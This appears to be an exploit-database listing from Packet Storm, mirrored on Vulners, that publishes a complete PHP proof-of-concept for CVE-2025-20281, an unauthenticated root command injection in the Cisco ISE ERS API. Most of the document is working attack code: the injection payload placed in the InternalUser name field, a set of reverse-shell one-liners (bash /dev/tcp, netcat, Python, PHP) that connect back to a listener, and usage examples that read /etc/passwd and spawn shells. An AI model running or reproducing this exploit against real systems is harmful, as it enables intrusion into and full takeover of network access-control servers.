Lucene search
K

📄 Cisco ISE API 3.1 Command Injection

🗓️ 11 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 137 Views

CVE-2025-20281 enables remote code execution in Cisco Identity Services Engine ERS API InternalUser field.

Related
Code
=============================================================================================================================================
    | # Title     : Cisco ISE API 3.1 command injection Exploits                                                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.cisco.com/                                                                                                      |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/212002/  &  	CVE-2025-20281
    
    
    [+] Summary : 
    
          CVE-2025-20281 is a critical unauthenticated remote code execution vulnerability in Cisco Identity Services Engine (ISE) ERS API. 
    	  The vulnerability allows attackers to execute arbitrary system commands as root without any authentication by exploiting command injection in the InternalUser name field.
    	  The vulnerability exists in the ERS (External RESTful Services) API of Cisco ISE where user input in the InternalUser name field is improperly sanitized before being processed. 
    	  Attackers can inject system commands through crafted payloads that are executed with root privileges on the underlying operating system.
    
    [+] POC :
    
    Examples:
    
    Primary Use:
    
    # Vulnerability Testing
    
    php cisco_ise_exploit.php --whoami 192.168.1.100
    
    # Executing a Custom Command
    
    php cisco_ise_exploit.php --cmd "id" 192.168.1.100
    
    # Connectivity Testing Only
    
    php cisco_ise_exploit.php --test 192.168.1.100
    
    Reverse Shell:
    
    # Creating a Reverse Shell
    
    php cisco_ise_exploit.php --reverse 10.0.0.50 4444 192.168.1.100
    
    # With SSL Verification
    
    php cisco_ise_exploit.php --reverse 10.0.0.50 4444 --verify-ssl 192.168.1.100
    
    Advanced Commands:
    
    # Extract System Information
    
    php cisco_ise_exploit.php --cmd "uname -a" 192.168.1.100
    
    # Display Users
    
    php cisco_ise_exploit.php --cmd "cat /etc/passwd" 192.168.1.100
    
    # Scan Network
    
    php cisco_ise_exploit.php --cmd "ifconfig" 192.168.1.100
    
    
    <?php
    /**
     * Unauthenticated PoC for CVE-2025-20281 on Cisco ISE ERS
     * by indoushka
     * 
     * Exploits unauthenticated RCE in Cisco ISE ERS API through command injection
     * in the InternalUser name field.
     */
    
    class CiscoISEExploit {
        private $target;
        private $verify_ssl;
        
        public function __construct($target, $verify_ssl = false) {
            $this->target = $target;
            $this->verify_ssl = $verify_ssl;
        }
        
        private function makeRequest($url, $payload) {
            $ch = curl_init();
            
            $options = [
                CURLOPT_URL => $url,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => json_encode($payload),
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_HTTPHEADER => [
                    'Content-Type: application/json',
                    'User-Agent: Cisco-ISE-Exploit/1.0'
                ],
                CURLOPT_TIMEOUT => 10,
                CURLOPT_SSL_VERIFYPEER => $this->verify_ssl,
                CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0
            ];
            
            curl_setopt_array($ch, $options);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            curl_close($ch);
            
            if ($error) {
                throw new Exception("cURL error: " . $error);
            }
            
            return [
                'status' => $http_code,
                'body' => $response
            ];
        }
        
        public function exploit($cmd) {
            $url = "https://{$this->target}:9060/ers/sdk#_";
            // Alternative URL if needed:
            // $url = "https://{$this->target}/ers/sdk#_";
            
            $payload = [
                "InternalUser" => [
                    "name" => "pwn; {$cmd}; #",
                    "password" => "x",  // dummy value, ignored by vulnerability
                    "changePassword" => false
                ]
            ];
            
            echo "[*] Sending payload to: {$url}\n";
            echo "[*] Command: {$cmd}\n\n";
            
            try {
                $response = $this->makeRequest($url, $payload);
                echo "[+] HTTP {$response['status']}\n";
                echo "Response:\n{$response['body']}\n";
                
                return $response;
            } catch (Exception $e) {
                echo "[!] Exploit failed: " . $e->getMessage() . "\n";
                return false;
            }
        }
        
        public function buildReverseShell($lhost, $lport) {
            // Multiple reverse shell options for compatibility
            $shells = [
                // Bash reverse shell
                "/bin/bash -c '/bin/bash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1'",
                
                // Netcat traditional
                "nc -e /bin/bash {$lhost} {$lport}",
                
                // Netcat with -e support
                "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {$lhost} {$lport} >/tmp/f",
                
                // Python reverse shell
                "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$lhost}\",{$lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
                
                // PHP reverse shell
                "php -r '\$s=fsockopen(\"{$lhost}\",{$lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
            ];
            
            // Return bash reverse shell by default (most reliable)
            return $shells[0];
        }
        
        public function testConnection() {
            $url = "https://{$this->target}:9060/ers/sdk";
            echo "[*] Testing connection to: {$url}\n";
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 5,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_NOBODY => true  // HEAD request
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code > 0) {
                echo "[+] Target is reachable (HTTP {$http_code})\n";
                return true;
            } else {
                echo "[!] Target is not reachable\n";
                return false;
            }
        }
    }
    
    function showBanner() {
        echo "=== CVE-2025-20281 Cisco ISE Unauthenticated RCE Exploit ===\n";
        echo "=== PHP Version - Unauthenticated Command Injection ===\n\n";
    }
    
    function showHelp() {
        echo "Usage: php cisco_ise_exploit.php [OPTIONS] <target>\n\n";
        echo "Arguments:\n";
        echo "  <target>              IP address or hostname of Cisco ISE PAN\n\n";
        echo "Options:\n";
        echo "  --whoami              Run 'whoami' command to test RCE\n";
        echo "  --reverse LHOST LPORT Spawn reverse shell to LHOST:LPORT\n";
        echo "  --cmd COMMAND         Execute custom command\n";
        echo "  --test                Test connection to target only\n";
        echo "  --verify-ssl          Enable SSL certificate verification\n";
        echo "  --help                Show this help message\n\n";
        echo "Examples:\n";
        echo "  php cisco_ise_exploit.php --whoami 192.168.1.100\n";
        echo "  php cisco_ise_exploit.php --reverse 10.0.0.50 4444 192.168.1.100\n";
        echo "  php cisco_ise_exploit.php --cmd 'id' 192.168.1.100\n";
        echo "  php cisco_ise_exploit.php --test 192.168.1.100\n";
    }
    
    function parseArguments($argv) {
        $options = [
            'target' => null,
            'whoami' => false,
            'reverse' => null,
            'cmd' => null,
            'test' => false,
            'verify_ssl' => false,
            'help' => false
        ];
        
        // Simple argument parsing
        for ($i = 1; $i < count($argv); $i++) {
            switch ($argv[$i]) {
                case '--whoami':
                    $options['whoami'] = true;
                    break;
                case '--reverse':
                    if ($i + 2 < count($argv)) {
                        $options['reverse'] = [$argv[$i + 1], $argv[$i + 2]];
                        $i += 2;
                    }
                    break;
                case '--cmd':
                    if ($i + 1 < count($argv)) {
                        $options['cmd'] = $argv[$i + 1];
                        $i += 1;
                    }
                    break;
                case '--test':
                    $options['test'] = true;
                    break;
                case '--verify-ssl':
                    $options['verify_ssl'] = true;
                    break;
                case '--help':
                    $options['help'] = true;
                    break;
                default:
                    // Assume this is the target if it doesn't start with --
                    if (!str_starts_with($argv[$i], '--')) {
                        $options['target'] = $argv[$i];
                    }
                    break;
            }
        }
        
        return $options;
    }
    
    // Main execution
    if (php_sapi_name() === 'cli') {
        showBanner();
        
        $options = parseArguments($argv);
        
        if ($options['help'] || !$options['target']) {
            showHelp();
            exit(0);
        }
        
        $exploit = new CiscoISEExploit($options['target'], $options['verify_ssl']);
        
        // Test connection only
        if ($options['test']) {
            $exploit->testConnection();
            exit(0);
        }
        
        // Determine command to execute
        $cmd = '';
        if ($options['whoami']) {
            $cmd = 'whoami';
        } elseif ($options['reverse']) {
            list($lhost, $lport) = $options['reverse'];
            $cmd = $exploit->buildReverseShell($lhost, $lport);
            echo "[*] Reverse shell payload generated for {$lhost}:{$lport}\n";
        } elseif ($options['cmd']) {
            $cmd = $options['cmd'];
        } else {
            echo "[!] No command specified. Use --whoami, --reverse, or --cmd\n";
            showHelp();
            exit(1);
        }
        
        echo "[*] Target: {$options['target']}\n";
        echo "[*] Command: {$cmd}\n\n";
        
        // Execute exploit
        $result = $exploit->exploit($cmd);
        
        if ($result) {
            echo "\n[+] Exploit attempt completed.\n";
            
            if ($options['reverse']) {
                echo "[*] Check your listener for reverse shell connection\n";
            }
        } else {
            echo "\n[!] Exploit failed.\n";
            exit(1);
        }
        
    } else {
        echo "This script must be run from the command line.\n";
        exit(1);
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Dec 2025 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 3.110
EPSS0.34167
137